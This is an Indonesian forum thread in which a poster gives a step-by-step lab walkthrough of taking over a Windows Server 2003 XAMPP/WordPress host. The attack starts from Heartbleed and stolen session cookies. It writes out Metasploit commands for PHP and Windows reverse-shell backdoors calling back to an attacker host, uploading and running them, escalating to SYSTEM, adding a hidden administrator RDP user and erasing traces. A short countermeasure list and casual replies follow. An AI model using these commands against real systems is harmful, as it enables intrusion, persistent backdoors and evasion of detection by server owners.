[Share] From Heartbleed to Take Over Server [Lab]
#1
Ok. Terim kasih telah menunggu. Supaya gak dikira boong / hoax ane update ini thread terlebih dahulu, karena step step nya agak banyak, sebenarnya tidak banyak, cuman saya pengen menjelaskan sedetil-detil nya supaya temen-temen paham dengan maksud saya. Judul thread ini merupakan penjelasan lebih lanjut dari Wokshop IBT Jogja kemarin di Universitas Atma Jaya Yogyakarta.

Pertama-tama setup Lab nya terlebih dahulu.
Sebelumnya saya minta maaf karena di contoh gambar ini saya menggunakan Kali Linux yang running di VirtualBox windows, dikarenakan ada problem di Kali Linux saya.

Alat yang digunakan untuk lab ini adalah :
[hidden]
1. VirtualBox (versi OS masing-masing)
2. Windows Server 2003
Spoiler! :
Cari sendiri ISO nya, beli kalo bisa :-bd
3. XAMPP for Windows
4. Wordpress
5. HeartBleed Exploit

Virtualbox digunakan untuk merunning Windows Server yang akan kita gunakan sebagai server target. Di server windows , kita install XAMPP sebagai webserver, sekaligus dengan database server dan scriptingnya. Kemudian Wordpress (CMS) sebagai websitenya.

Selanjutkan, karena ini adalah lab untuk exploit Heartbleed , maka kita perlu untuk setup SSL key dulu di XAMPP nya. Caranya adalah sebagai berikut :

1. Buka XAMPP Control Panel, kemudian klik XAMPP-Shell
2. Ketikan perintah berikut untuk mengenerate private key nya.
Spoiler! :
openssl genrsa -des3 -out server.key 1024
Spoiler! :
[Image: 10177342_10201602792659763_7818708950467911877_n.jpg]
3. Setelah private key dibuat, kita buat signing certificate nya.
Spoiler! :
openssl req -new -key server.key -out server.csr
Spoiler! :
[Image: 10277509_10201602793059773_8702418401190994433_n.jpg]
pastikan diisi sesuai dengan example dari XAMPP nya. Gak berpengaruh terhadap sistem, tapi sebaiknya diisi dengan benar.
4. Kemudian kita sign certificate nya tadi
Spoiler! :
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
5. Setelah itu taruh File .key dan .crt nya ke folder conf di Apache nya, kalo server.key kita taruh di folder ssl.key, kalo server.crt kita taruh di ssl.crt
6. Atur virtualhost anda untuk menggunakan SSL Key, Contoh virtualhost saya adalah sebagai berikut .
Spoiler! :

Code:
<VirtualHost *:443>
   DocumentRoot "C:/xampp/htdocs/lab"
   ServerName labatmajaya.com
   ServerAlias www.labatmajaya.com
    SSLEngine on
    SSLCertificateFile conf/ssl.crt/server.crt
    SSLCertificateKeyFile conf/ssl.key/server.key
</VirtualHost>


Setelah itu coba restart / start XAMPP nya, buka website nya make https.
(ASUMSI, Wordpress sudah diinstall di WebServer]
Spoiler! :
[Image: 10176114_10201602793459783_3242374210080...4817fa4b9c]
Spoiler! :
[Image: 10313564_10201602793179776_4381280342805...77355163e3]

Oke persiapan selesai, setelah itu kita akan melakukan fase-fase Hacking (#kata EC-Council]

1. Reconnaissance
2. Scanning
3. Gaining Access / exploit
4. Maintaining Access
5. Covering Tracks


Kita bahas satu-persatu terlebih dahulu.

1. Reconnaissance
reconnaissance adalah fase dimana seorang manusia *baca Hacker melakukan kegiatan untuk mencari tahu tentang si target (#baca Keppo). reconnaissance sendiri ada 2 tipe, reconnaissance active dan pasif.
reconnaissance active adalah proses mencari tahu target langsung kebagian dalam target sendiri atau yang dijalankan pada target, misal nya, webserver, ip address, admin panel dsb. Sedangkan reconnaissance pasiv adalah proses mencari tahu target dengan cara mencari informasi apapun yang berkaitan dengan target, misalnya mencari tahu siapa admin website nya, email website, provider website dll.

Dari proses reconnaissance ini kita dapatkan bahwa :
- Website menggunakan Wordpress
- Webserver menggunakan XAMPP
- Server menggunakan Windows

2. Scanning
Scanning adalah fase dimana hacker mencoba untuk menjelajah lebih lanjut dari target dengan melakukan pemindaian, pemindaian ini akan memperlihatkan kelemahan yang ada di target. Contoh scanning adalah si hacker melakukan scanning port di server target, selain itu pada kesempatan ini hacker mencoba untuk test heartbleed di server.
Spoiler! :
[Image: 10268618_10201602829260678_8709676469653...1931cbe725]

3. Gaining Access
Gaining access adalah fase dimana hacker mencoba untuk mendapatkan akses ke Target. contohnya adalah sebagai berikut :
Pertama setelah hacker tahu bahwa server vulnerable terhadap serangan heartbleed, maka hacker menggunakan tool dibawah ini untuk mendapatkan informasi / data dari server target. (Download toolnya di sini kalo mau versi PHP nya disini bro)

Setelah itu berbekal cookies yang ada, hacker mencoba untuk memanipulasi cookies di browser dia.
Sebagai bukti saya sertakan screenshoot dibawah ini bahwa ketika saya mencoba untuk mengakses admin panel, saya diminta untuk memasukkan username dan password.
Spoiler! :
[Image: 10291042_10201602793419782_7786640349444...e=560B8D2C]
untuk memanipulasi gunakan addons cookie manager di browser anda.

supaya tidak bingung ini saya tampilkan cookies nya
Spoiler! :
[Image: 1622096_10201602792939770_73337342351120...71dfb32e5d]
Spoiler! :

Code:
Cookie: wordpress_sec_327a59d582ce675c356d64443376395a=admin%7C1399474023%7C5eb8dcc33ddd547b89a0e0969382d9f4; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_327a59d582ce675c356d64443376395a=admin%7C1399474023%7C537451aabb9ccff36dec9277cacdee6d; wp-settings-time-1=1399301223
S


Manipulasi cookie di browser hacker dengan cookie tersebut sehingga menjadi seperti ini.
Spoiler! :
[Image: 10342951_10201602792419757_8040741216338...0dba0d7920]

Kemudian tinggal refresh browser atau akses ke panel admin nya. Dan si hacker pun telah masuk sebagai administrator di website tersebut.
Spoiler! :
[Image: 10268682_10201602792859768_3049239562508...4bfd43ed86]

4. Maintaining Access
Maintaining Access adalah proses dimana si hacker mencoba untuk mempertahankan akses nya di target, dengan kata lain si hacker mengupload backdoor/ pintu belakang.

Saya akan menggunakan metasploit untuk membuat backdoor saya, command yang saya gunakan adalah sebagai berikut :
Spoiler! :

Code:
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=8888 R > bd.php


Kemudian untuk setup listener nya saya gunakan perintah berikut :
Spoiler! :

Code:
root@kali:~# touch exploit.rc
root@kali:~# echo use exploit/multi/handler >> exploit.rc
root@kali:~# echo set PAYLOAD php/meterpreter/reverse_tcp >> exploit.rc
root@kali:~# echo set LHOST 192.168.1.3 >> exploit.rc
root@kali:~# echo set LPORT 8888 >> exploit.rc
root@kali:~# echo set ExitOnSession false >> exploit.rc
root@kali:~# echo exploit -j -z >> exploit.rc
root@kali:~# msfconsole -r exploit.rc


Kemudian, upload backdoor (bd.php) tadi ke server melalui admin panel website nya.
Untuk platform wordpress upload file php tidak dibolehkan di upload pada media, gunakan upload themes di menu appearance untuk mengupload bd.php. Kemudian lihat bd.php di media dan lihat url nya. Copas URL nya ke browser, dan meterpreter pun akan terbuka di Linux.
Spoiler! :
[Image: 10347801_10201603185789591_2976849244807...425cbc6392]
Karena saya kurang puas dengan hasil sejauh ini, saya akan mencoba untuk take over server tersebut, karena servernya windows, saya akan menggunakan metaploit windows exploitation untuk take over server. Oleh karena itu siapkan backdoor satu lagi dengan extensi .exe
Spoiler! :

Code:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=7777 X > bd.exe


Kembali di msfconsole, setelah kita berada di meterpreter,  setup listener untuk backdoor yang kedua. Caranya gampang, tinggal ganti payload yang digunakan dan port numbernya.
Spoiler! :
[Image: 10169322_10201603189709689_5427172750040...e=55C0B25C]

kemudian logika saya adalah saya akan mengupload backdoor exe tersebut ke server, dan mengeksekusinya supaya meterpreter saya yang kedua terbuka. Caranya adalah kembali ke php/meterpreter sebelumnya. Lihat session nya dengan command sessions.

kemudian untuk berinteraksi dengan sessin php/meterpreter, gunakan perintah
Spoiler! :
sessions -i 1
php/meterpreter pun terbuka lagi. Sekarang untuk mengeksekusi file exe (backdoor exe) kita tadi, upload backdoor tersebut di folder C:\Windows\system32
Gunakan perintah upload meterpreter seperti gambar dibawah ini.
Spoiler! :
[Image: 10314608_10201603195589836_7124725684620...03c99c4180]

Lalu eksekusi backdoornya dengan perintah
Spoiler! :
execute -k -f bd.exe

Maka meterpreter kedua pun akan terbuka..
Spoiler! :
[Image: 10304714_10201603202190001_4922977404348...e=55C37DA8]

Ketikkan perintah background untuk kembali ke background kemudian interact ke session 2,  Dari meterpreter windows saya mencoba untuk membypass privileges nya dengan perintah
Spoiler! :
getprivs
Hasilnya adalah
Spoiler! :

Code:
SeDebugPrivilege
 SeIncreaseQuotaPrivilege
 SeSecurityPrivilege
 SeTakeOwnershipPrivilege
 SeLoadDriverPrivilege
 SeSystemProfilePrivilege
 SeSystemtimePrivilege
 SeProfileSingleProcessPrivilege
 SeIncreaseBasePriorityPrivilege
 SeCreatePagefilePrivilege
 SeBackupPrivilege
 SeRestorePrivilege
 SeShutdownPrivilege
 SeSystemEnvironmentPrivilege
 SeChangeNotifyPrivilege
 SeRemoteShutdownPrivilege
 SeUndockPrivilege
 SeManageVolumePrivilege

Kemudian saya cek user saya sebagai apa dengan perintah
Spoiler! :
getuid
Spoiler! :

Server username: IBT-LAB\Administrator


kemudian saya ingin menjadi NT AUTHORITY\SYSTEM / dalam linux sebagai root nya.
saya gunakan perintah
Spoiler! :
getsystem
setelah itu saya coba cek user saya lagi, dan hasilnya saya menjadui NT AUTHORITY\SYSTEM
Spoiler! :
[Image: 1504151_10201603207390131_62334448736142...3ec5308ef8]

kemudian saya ingin menambahkan user remote desktop di Server , saya gunakan perintah run getgui
Spoiler! :

Code:
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u <username> -p <password>
Or:    getgui -e

OPTIONS:

   -e        Enable RDP only.
   -f <opt>  Forward RDP Connection.
   -h        Help menu.
   -p <opt>  The Password of the user to add.
   -u <opt>  The Username of the user to add.

Perintah yang saya masukkan adalah
Spoiler! :
run getgui -u hekel -p keppo
Hasilnya adalah
Spoiler! :

Code:
meterpreter > run getgui -u hekel -p cekel
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez [email protected]
[*] Setting user account for logon
[*]     Adding User: hekel with Password: cekel
[*]     Hiding user from Windows Login screen
[*]     Adding User: hekel to local group 'Remote Desktop Users'
[*]     Adding User: hekel to local group 'Administrators'
[*] You can now login with the created user
[*]

Spoiler! :
[Image: 10309423_10201603202350005_7324673949259...e04e094942]
Setelah mendapatkan akses remote desktop, saya mencoba untuk masuk ke server via remote desktop. Di remote desktop saya mencoba untuk mengganti passsword administrator, caranya masuk ke computer management, lalu pilih Local user and groups kemudian set password baru untuk user Administrator
Spoiler! :
[Image: 10250293_10201603202230002_2905261739305...6b204bd303]

Done.

5. Covering tracks
Supaya tidak terdeteksi, maka seorang hacker harus mampu untuk menyembunyikan diri atau menghapus jejaknya. Untuk menghapus jejak kita di server, gunakan perintah ini di metasploit console nya.
Spoiler! :


Code:
meterpreter > run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20140505.1951.rc

[*]

Game Over..

Countermeasure :
1. Upgrade OS & Software (termasuk OpenSSL)
2. Pasang Antivirus
3. Pasang rule di PHP
4. Pasang HoneyPot.

[/hidden]

#2
Anjir =)) waiting broo. Hahaha

#3
kamprettt ane kira udah wkkwkw
ane tunggu dah :v
ada kodok teroret teroret dipinggir kali terorret teroret mencari makan teroret teroret setiap pagi teroret teroret

visit: http://warungiso.blogspot.com/

I was not smart or special but I was unix

#4
manteep ditunggu om @czeroo_cool Big Grin


Smile and Agree, Then Do Whatever The Fvck You Were Gonna Do



#5
=)) sumringah , dikira udah ada .ditunggu om wkwk

#6
wah si TS bercanda...........
tak kira beneran
cara yang salah memperingati hari kartini, contohlah jiwa nasionalisme ya dan emansipasinya, bukan cara berpakainya.

#7
Ikutan nunggu juga nh om.....pengen kebagian ilmu hehehe

#8
wkwkwkkw suram :p
FOLLOW @DutaLinux
for more question and sharing about security and Opensource only

#9
TS oh TS :v
Tak tunggu tutornya om >_<

#10
wkwk suram, kirain udah jadi :v
root@mayu:~# Mencoba Sesuatu Yang Baru
Hai !
Perkenalan Big Grin






Users browsing this thread: 1 Guest(s)